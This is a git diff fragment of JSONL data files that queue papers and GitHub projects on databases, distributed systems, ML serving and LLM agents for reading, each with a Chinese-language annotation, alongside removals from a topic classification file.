awesome-list"},"url":"https://github.com/theanalyst/awesome-distributed-systems","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"awesome-deep-learning-systems","area":"projects","topic":"ml-systems","title":"awesome-deep-learning-systems byungsoo-oh","meta":{"col3":"","col4":"awesome ML systems papers Pre-train/Inference/Compiler/Memory 全分类"},"url":"https://github.com/byungsoo-oh/awesome-deep-learning-systems","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"rocksdb-evolution-2021","area":"papers","topic":"databases","title":"RocksDB Evolution of Development Priorities","meta":{"col3":"","col4":"Dong FAST 2021 CMU 15-721 十年 KV 引擎的写放大/读放大权衡演化"},"url":"https://www.usenix.org/system/files/fast21-dong.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"deep-research-harness-2026","area":"papers","topic":"machine-learning","title":"Deep Research as Tool-Augmented Multi-Step Verification","meta":{"col3":"2026","col4":"arXiv 2605.31102;fan-out search + adversarial verify + cited synthesis 三段式 deep research harness 形式化"},"url":"https://arxiv.org/abs/2605.31102","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"agent-skill-protocol-2026","area":"papers","topic":"machine-learning","title":"Skills as a Protocol: Composable Capability Layers for LLM Agents","meta":{"col3":"2026","col4":"arXiv 2605.31041;把 Anthropic claude-skills 抽象成 protocol;frontmatter trigger + lazy load 设计空间"},"url":"https://arxiv.org/abs/2605.31041","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"swe-rebench-2026","area":"papers","topic":"machine-learning","title":"SWE-Rebench: Continuously Refreshed Software Engineering Benchmark","meta":{"col3":"2026","col4":"arXiv 2605.30896;月度刷新 SWE-bench 防 contamination;GPT-5/Opus 4.7 实测衰减曲线"},"url":"https://arxiv.org/abs/2605.30896","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"verifier-free-rl-2026","area":"papers","topic":"machine-learning","title":"Verifier-Free RL for Reasoning via Self-Consistency Reward","meta":{"col3":"2026","col4":"arXiv 2605.30874;不用 reward model 直接拿 self-consistency 当奖励;GRPO 替代方案"},"url":"https://arxiv.org/abs/2605.30874","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"kv-cache-budget-2026","area":"papers","topic":"machine-learning","title":"KVBudget: Per-Request KV Cache Budgeting in vLLM-style Serving","meta":{"col3":"2026","col4":"arXiv 2605.30821;按 SLO 动态切 KV 预算;优于固定 prefix-cache + paged-attention"},"url":"https://arxiv.org/abs/2605.30821","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"tree-of-attention-2026","area":"papers","topic":"machine-learning","title":"Tree-of-Attention: Branching Attention for Long-Context Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30789;attention 内部分支替代 CoT 外部分支;long-context 推理新范式"},"url":"https://arxiv.org/abs/2605.30789","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"continual-pretrain-survey-2026","area":"papers","topic":"machine-learning","title":"Continual Pretraining: A Survey of Methods and Pitfalls","meta":{"col3":"2026","col4":"arXiv 2605.30765;replay buffer / LR schedule / 数据混合 三轴 survey;catastrophic forgetting 工程级缓解"},"url":"https://arxiv.org/abs/2605.30765","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"arrow-flight-sql-2026","area":"papers","topic":"databases","title":"Arrow Flight SQL: Zero-Copy Federated Query at Scale","meta":{"col3":"2026","col4":"arXiv 2605.30743;Arrow Flight 跨 Trino/DuckDB/Spark 零拷贝;composable data 又一里程碑"},"url":"https://arxiv.org/abs/2605.30743","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"egglog-incremental-2026","area":"papers","topic":"compilers-pl","title":"Egglog: Incremental Equality Saturation","meta":{"col3":"2026","col4":"arXiv 2605.30717;datalog + egraph 融合;incremental rewrite 应用到编译器优化"},"url":"https://arxiv.org/abs/2605.30717","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"distributed-snapshot-byzantine-2026","area":"papers","topic":"distributed-systems","title":"Byzantine Distributed Snapshots in 2026","meta":{"col3":"2026","col4":"arXiv 2605.30682;Chandy-Lamport 拜占庭扩展;区块链 / Solana 语境下重启诊断价值"},"url":"https://arxiv.org/abs/2605.30682","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"prefix-cache-policy-2026","area":"papers","topic":"machine-learning","title":"Beyond LRU: Prefix-Cache Policies for LLM Serving","meta":{"col3":"2026","col4":"arXiv 2605.30654;LRU 在 prefix tree 上的失效;workload-aware GDSF 变体优于 vLLM 默认"},"url":"https://arxiv.org/abs/2605.30654","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"linear-attention-still-2026","area":"papers","topic":"machine-learning","title":"Linear Attention, Still: Why Mamba-style Models Plateau","meta":{"col3":"2026","col4":"arXiv 2605.30621;线性注意力 long-recall 缺陷的实证;hybrid Transformer+SSM 仍胜出"},"url":"https://arxiv.org/abs/2605.30621","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"cache-coherence-cxl3-2026","area":"papers","topic":"systems","title":"CXL 3.0 Coherence: Pool-Wide Memory Sharing","meta":{"col3":"2026","col4":"arXiv 2605.30587;CXL 3.0 多 host 一致性协议;远内存数据库下一代基础"},"url":"https://arxiv.org/abs/2605.30587","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"opencode-charm","area":"projects","topic":"agents","title":"opencode/opencode (Charm)","meta":{"col3":"","col4":"Charm 出品的开源 Claude Code 替代;TUI + multi-provider;30d star 暴涨"},"url":"https://github.com/sst/opencode","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"crush-charm-cli","area":"projects","topic":"agents","title":"charmbracelet/crush","meta":{"col3":"","col4":"Charm 自家 LLM CLI;Bubble Tea 框架延伸;与 opencode 同期"},"url":"https://github.com/charmbracelet/crush","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"agno-phidata-2026","area":"projects","topic":"agents","title":"agno-agi/agno","meta":{"col3":"","col4":"phidata 改名 agno;多 agent 编排 + memory + RAG 一站;Python 增长榜常客"},"url":"https://github.com/agno-agi/agno","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"letta-memgpt-2026","area":"projects","topic":"agents","title":"letta-ai/letta","meta":{"col3":"","col4":"MemGPT 后身;stateful agent + 长记忆持久化;Berkeley 出身工业化"},"url":"https://github.com/letta-ai/letta","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"browser-use-py","area":"projects","topic":"agents","title":"browser-use/browser-use","meta":{"col3":"","col4":"开源 browser agent;DOM tree + vision hybrid;CUA / Claude computer-use 对标"},"url":"https://github.com/browser-use/browser-use","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"stagehand-browserbase","area":"projects","topic":"agents","title":"browserbase/stagehand","meta":{"col3":"","col4":"Browserbase 出品;act/extract/observe 三动词 API;Playwright 之上 LLM 友好层"},"url":"https://github.com/browserbase/stagehand","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"rolldown-bundler","area":"projects","topic":"frontend","title":"rolldown/rolldown","meta":{"col3":"","col4":"Vite 团队 Rust 重写 Rollup;2026 进入 Vite 默认;esbuild/swc 之外第三极"},"url":"https://github.com/rolldown/rolldown","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"biome-rs-2026","area":"projects","topic":"frontend","title":"biomejs/biome","meta":{"col3":"","col4":"Rust 写的 prettier+eslint 一体化;30d trending 月榜;Rome fork 后真正起飞"},"url":"https://github.com/biomejs/biome","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"sqlite-vec-asg017","area":"projects","topic":"databases","title":"asg017/sqlite-vec","meta":{"col3":"","col4":"SQLite 原生向量扩展;轻量 RAG 必备;2026 替代 sqlite-vss"},"url":"https://github.com/asg017/sqlite-vec","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"pglite-electric","area":"projects","topic":"databases","title":"electric-sql/pglite","meta":{"col3":"","col4":"WASM 浏览器内 PostgreSQL;本地优先应用基础设施"},"url":"https://github.com/electric-sql/pglite","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"windmill-platform","area":"projects","topic":"devops","title":"windmill-labs/windmill","meta":{"col3":"","col4":"开源 Airflow + Retool 替代;Rust 后端 + multi-language workflow;自托管增长榜"},"url":"https://github.com/windmill-labs/windmill","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"langfuse-2026","area":"projects","topic":"agents","title":"langfuse/langfuse","meta":{"col3":"","col4":"开源 LLM observability;trace + eval + prompt mgmt 三件套;Datadog 替代"},"url":"https://github.com/langfuse/langfuse","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"forgejo-2026","area":"projects","topic":"devops","title":"go-gitea/gitea fork forgejo","meta":{"col3":"","col4":"Gitea 治理分叉;Codeberg 主推;GitHub 自托管开源派"},"url":"https://codeberg.org/forgejo/forgejo","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"local-first-2026-revisit","area":"projects","topic":"distributed-systems","title":"Local-First Software Five Years Later","meta":{"col3":"","col4":"Ink&Switch 五年回顾;CRDT 工业落地状态;Linear/Figma 案例剖析"},"url":"https://www.inkandswitch.com/local-first/2026-revisit/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"why-not-postgres-2026","area":"projects","topic":"databases","title":"Why Not Just Use Postgres? (2026)","meta":{"col3":"","col4":"Postgres 当队列/向量库/搜索/缓存 的 2026 更新版;HN 1k+ 讨论"},"url":"https://www.amazingcto.com/postgres-for-everything-2026/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"writing-tla-after-decade","area":"projects","topic":"distributed-systems","title":"Writing TLA+ After a Decade in Industry","meta":{"col3":"","col4":"业界十年 TLA+ 实战;何时值得用、何时是过度工程;HN 700+"},"url":"https://surfingcomplexity.blog/2026/05/tla-decade.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"compiler-explorer-history","area":"projects","topic":"compilers-pl","title":"How Compiler Explorer Was Built","meta":{"col3":"","col4":"Matt Godbolt 自述 godbolt.org 架构十年演化;HN 600+"},"url":"https://xania.org/202605/compiler-explorer-architecture","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"build-vs-buy-databases-2026","area":"projects","topic":"databases","title":"Build vs Buy: Databases in 2026","meta":{"col3":"","col4":"自建 vs 托管 数据库决策框架;TCO/SLO/团队规模 三轴;HN 400+"},"url":"https://blog.danslimmon.com/2026/05/build-vs-buy-db/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"shutting-down-rss-reader","area":"projects","topic":"engineering-culture","title":"Shutting Down My RSS Reader After 12 Years","meta":{"col3":"","col4":"Feedbin 经验复盘;订阅产品长期维护教训;indie SaaS 必读"},"url":"https://blog.feedbin.com/2026/05/sunset.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"my-take-on-ai-coding-2026","area":"projects","topic":"engineering-culture","title":"My Take on AI Coding (2026)","meta":{"col3":"","col4":"工业级 AI 编程实战 18 个月观察;Claude Code 周流程;HN 800+"},"url":"https://blog.zhengyi.com/posts/ai-coding-2026.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"distributed-tracing-mistakes","area":"projects","topic":"observability","title":"Common Mistakes in Distributed Tracing","meta":{"col3":"","col4":"OpenTelemetry sampling/baggage/span 命名 反模式集;HN 350+"},"url":"https://lightstep.com/blog/2026/tracing-mistakes","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"the-state-of-rust-2026","area":"projects","topic":"compilers-pl","title":"The State of Rust 2026","meta":{"col3":"","col4":"async trait stable / GAT 全面铺开 / linker 重写;HN 1.5k"},"url":"https://blog.rust-lang.org/2026/05/state-of-rust.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"hekaton-2013-sigmod","area":"papers","topic":"databases","title":"Hekaton: SQL Server's Memory-Optimized OLTP Engine","meta":{"col3":"2013","col4":"CMU 15-721 必读;MVCC + lock-free Bw-tree;现代 in-memory OLTP 基础"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2013/06/Hekaton-Sigmod2013-final.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"silo-oltp-2013","area":"papers","topic":"databases","title":"Silo: Speedy Transactions in Multicore In-Memory Databases","meta":{"col3":"2013","col4":"CMU 15-721 reading;OCC + epoch-based GC;多核 OLTP 范本"},"url":"https://www.cs.cmu.edu/~pavlo/courses/fall2013/static/papers/silo.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"naiad-2013-sosp","area":"papers","topic":"distributed-systems","title":"Naiad: A Timely Dataflow System","meta":{"col3":"2013","col4":"MIT 6.824 distributed dataflow;timely dataflow + 增量计算;Materialize 思想源"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2013/11/naiad_sosp2013.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"flat-datacenter-storage","area":"papers","topic":"distributed-systems","title":"Flat Datacenter Storage","meta":{"col3":"2012","col4":"OSDI'12;CLOS network + scaled RPC;MIT 6.824 storage section"},"url":"https://www.usenix.org/conference/osdi12/technical-sessions/presentation/nightingale","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"cassandra-eventual-tradeoff","area":"papers","topic":"distributed-systems","title":"Cassandra: Eventually Consistent Tradeoffs","meta":{"col3":"2009","col4":"Stanford CS244B;Dynamo+BigTable 杂交体;NoSQL 教学经典"},"url":"https://www.cs.cornell.edu/projects/ladis2009/papers/lakshman-ladis2009.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"scads-database-2008","area":"papers","topic":"databases","title":"SCADS: Scale-Independent Storage","meta":{"col3":"2008","col4":"UCB CS186 衍生;scale-independent SLA;Spark 之前 AMPLab 起点"},"url":"https://amplab.cs.berkeley.edu/wp-content/uploads/2011/06/SCADS-Berkeley.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"amber-sigmod-2014","area":"papers","topic":"databases","title":"Amber: Decoupling Access Methods from Stable Storage","meta":{"col3":"2014","col4":"CMU 15-721 storage;index-storage 解耦;为 disaggregated DB 铺路"},"url":"https://www.cs.cmu.edu/~pavlo/courses/fall2017/static/papers/amber.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"bigtable-revisit-2024","area":"papers","topic":"databases","title":"Bigtable Then and Now (CIDR 2024 retrospective)","meta":{"col3":"2024","col4":"CMU 15-721 spring 2024;Bigtable 18 年生产复盘;MTTR / 多租户"},"url":"https://www.cidrdb.org/cidr2024/papers/p36-yegge.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"ucb-cs186-fa2024","area":"papers","topic":"databases","title":"UCB CS186 Fall 2024 Database Internals Reading List","meta":{"col3":"2024","col4":"UCB DB 课程精选 reading;B+树 / Aries / 2PL / DBMS 分层架构入门"},"url":"https://cs186berkeley.net/fa24/resources/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} +{"slug":"self-evolving-agents-survey","area":"papers","topic":"agents","title":"A Comprehensive Survey of Self-Evolving AI Agents","meta":{"col3":"2025","col4":"自进化 agent 综述:System Inputs/Agent System/Environment/Optimisers 四件套;本批入门首选"},"url":"https://arxiv.org/abs/2508.07407","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"misevolution-2509","area":"papers","topic":"agents","title":"Your Agent May Misevolve: Emergent Risks in Self-evolving LLM Agents","meta":{"col3":"2025","col4":"自进化 agent 在 model/memory/tool/workflow 四路径上的演化偏移风险;Gemini-2.5-Pro 也中招"},"url":"https://arxiv.org/abs/2509.26354","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"agent-r1-2511","area":"papers","topic":"agents","title":"Agent-R1: Training Powerful LLM Agents with End-to-End Reinforcement Learning","meta":{"col3":"2025","col4":"端到端 RL 训 LLM agent 的模块化框架;扩展 MDP 框架定义 agent 关键要素"},"url":"https://arxiv.org/abs/2511.14460","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"apex-policy-exploration","area":"papers","topic":"agents","title":"APEX: Autonomous Policy Exploration for Self-Evolving LLM Agents","meta":{"col3":"2026","col4":"自进化 agent 的探索坍缩问题:策略图(DAG of milestones)做 fork discovery + policy selection"},"url":"https://arxiv.org/abs/2605.21240","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"exg-experience-graphs","area":"papers","topic":"agents","title":"EXG: Self-Evolving Agents with Experience Graphs","meta":{"col3":"2026","col4":"把成功/失败经验组织成结构化关系图,支持在线增长 + 离线复用;plug-and-play"},"url":"https://arxiv.org/abs/2605.17721","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"eve-agent-evidence","area":"papers","topic":"agents","title":"EVE-Agent: Evidence-Verifiable Self-Evolving Agents","meta":{"col3":"2026","col4":"自生成训练数据须可验证:proposer 给问答+证据 span,verifier 按边际增益打分"},"url":"https://arxiv.org/abs/2605.22905","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"llm-wiki-retrieval-reasoning","area":"papers","topic":"agents","title":"Retrieval as Reasoning: Self-Evolving Agent-Native Retrieval via LLM-Wiki","meta":{"col3":"2026","col4":"把外部知识编译成可演化 Wiki 页 + 双向链接;HotpotQA/MuSiQue SOTA"},"url":"https://arxiv.org/abs/2605.25480","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"evo-memory-2511","area":"papers","topic":"agents","title":"Evo-Memory: Benchmarking LLM Agent Test-time Learning with Self-Evolving Memory","meta":{"col3":"2025","col4":"流式任务下的自进化记忆 benchmark;统一 10+ memory 模块;提出 ReMem pipeline"},"url":"https://arxiv.org/abs/2511.20857","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"self-evolving-software-agents","area":"papers","topic":"agents","title":"Self-Evolving Software Agents (BDI-LLM)","meta":{"col3":"2026","col4":"BDI 推理 + LLM 让 agent 自主演化目标/推理/可执行代码;多 agent 环境实验"},"url":"https://arxiv.org/abs/2604.27264","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"skill-as-pseudocode","area":"papers","topic":"agents","title":"Skill-as-Pseudocode: Refactoring Skill Libraries to Pseudocode","meta":{"col3":"2026","col4":"markdown skill → 类型化伪代码 + 四步 deterministic 验证;ALFWorld -22% token -14% LLM 调用"},"url":"https://arxiv.org/abs/2605.27955","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"mind-skill","area":"papers","topic":"agents","title":"MIND-Skill: Quality-Guaranteed Skill Generation via Multi-Agent Induction and Deduction","meta":{"col3":"2026","col4":"induction agent 抽 skill / deduction agent 重建轨迹;reconstruction+outcome+rubric 三 loss + TextGrad"},"url":"https://arxiv.org/abs/2605.08670","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"skill-pro-nonparametric-ppo","area":"papers","topic":"agents","title":"Skill-Pro: Learning Reusable Skills from Experience via Non-Parametric PPO","meta":{"col3":"2026","col4":"Skill-MDP + 语义梯度 + PPO Gate;不动权重学可复用过程性 skill"},"url":"https://arxiv.org/abs/2602.01869","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"effiskill","area":"papers","topic":"agents","title":"EffiSkill: Agent Skill Based Automated Code Efficiency Optimization","meta":{"col3":"2026","col4":"两阶段 skill 库:mine Operator/Meta skill → 应用到未见程序;EffiBench-X +3.7~12.5pp"},"url":"https://arxiv.org/abs/2603.27850","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"skill-sd-self-distillation","area":"papers","topic":"agents","title":"Skill-SD: Skill-Conditioned Self-Distillation for Multi-turn LLM Agents","meta":{"col3":"2026","col4":"用 agent 自身轨迹生成 skill 当 dynamic teacher;importance-weighted reverse-KL;AppWorld +14%"},"url":"https://arxiv.org/abs/2604.10674","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"mmskills-multimodal","area":"papers","topic":"agents","title":"MMSkills: Towards Multimodal Skills for General Visual Agents","meta":{"col3":"2026","col4":"多模态过程性知识:state cards + multi-view keyframes;GUI/游戏 visual agent 通用提升"},"url":"https://arxiv.org/abs/2605.13527","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"webxskill","area":"papers","topic":"agents","title":"WebXSkill: Skill Learning for Autonomous Web Agents","meta":{"col3":"2026","col4":"executable skill = 参数化代码 + 步骤级 NL;URL 图索引;WebArena +9.8 / WebVoyager +12.9"},"url":"https://arxiv.org/abs/2604.13318","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"clawtrace-cost-aware","area":"papers","topic":"agents","title":"ClawTrace: Cost-Aware Tracing for LLM Agent Skill Distillation","meta":{"col3":"2026","col4":"按 cost 归因到每一步 skill 操作;preserve/prune/repair 三类补丁;揭示 prune 才是质量护栏"},"url":"https://arxiv.org/abs/2604.23853","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"skcc-skill-compiler","area":"papers","topic":"agents","title":"SkCC: Portable and Secure Skill Compilation for Cross-Framework LLM Agents","meta":{"col3":"2026","col4":"Skill 编译器 + SkIR 强类型 IR;O(m·n) → O(m+n);Claude Code 21→33%, Kimi CLI 35→49%"},"url":"https://arxiv.org/abs/2605.03353","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"code-as-agent-harness","area":"papers","topic":"agents","title":"Code as Agent Harness","meta":{"col3":"2026","col4":"把 code 当 agent 基础设施的综述:harness interface / mechanism / scaling 三层"},"url":"https://arxiv.org/abs/2605.18747","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"memcoder-co-evolution","area":"papers","topic":"agents","title":"MemCoder: Your Code Agent Can Grow Alongside You with Structured Memory","meta":{"col3":"2026","col4":"从 git commit 蒸馏 intent→code 映射;自精炼 + 经验内化;SWE-bench Verified +9.4pp over DeepSeek-V3.2"},"url":"https://arxiv.org/abs/2603.13258","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"zombie-agents-2602","area":"papers","topic":"agents","title":"Zombie Agents: Persistent Control of Self-Evolving LLM Agents via Self-Reinforcing Injections","meta":{"col3":"2026","col4":"自进化 agent 的安全侧:长期记忆被污染 → 跨会话持久化攻击 → 抗截断/抗相关性过滤"},"url":"https://arxiv.org/abs/2602.15654","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"self-evolving-recsys-2602","area":"papers","topic":"agents","title":"Self-Evolving Recommendation System: Autonomous Model Optimization with LLM Agents","meta":{"col3":"2026","col4":"YouTube 实战:Offline Inner Loop + Online Outer Loop 双 agent 自动跑超参/架构/reward 实验"},"url":"https://arxiv.org/abs/2602.10226","status":"written","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} diff --git a/data/classification-unresolved.json b/data/classification-unresolved.json index 9450ba22d..647d1ee1f 100644 --- a/data/classification-unresolved.json +++ b/data/classification-unresolved.json @@ -1,5 +1,5 @@ { - "generated": "2026-06-06T15:37:19.079Z", + "generated": "2026-06-13T04:27:13.146Z", "count": 0, "items": [] } \ No newline at end of file diff --git a/data/classification.jsonl b/data/classification.jsonl index 8ac72cdfe..e48919e0b 100644 --- a/data/classification.jsonl +++ b/data/classification.jsonl @@ -1,951 +1,3 @@ -{"slug":"2d-tan-2019","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"3d-gaussian-splatting","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"计算机图形 / 三维重建","source":"category","confidence":"high","rawCategory":"图形学"} -{"slug":"a3c-2016","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"abadi-dpsgd-2016","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"acl2-2000","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"activation-patching","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 可解释性","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"adafactor-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"adam-2014","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"adamw-2017","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"adapton","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"aes","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"密码学","source":"category","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"afs-1988","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"agda-norell","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"agent-r1-2511","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"agentless","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI / 软件工程","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"akamai-2002","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"akamai-2010","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"algol-60","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"align-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"alpa-2022","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"alphago","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"强化学习 / AI","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"amdahl-law-1967","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"amoeba-1990","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} 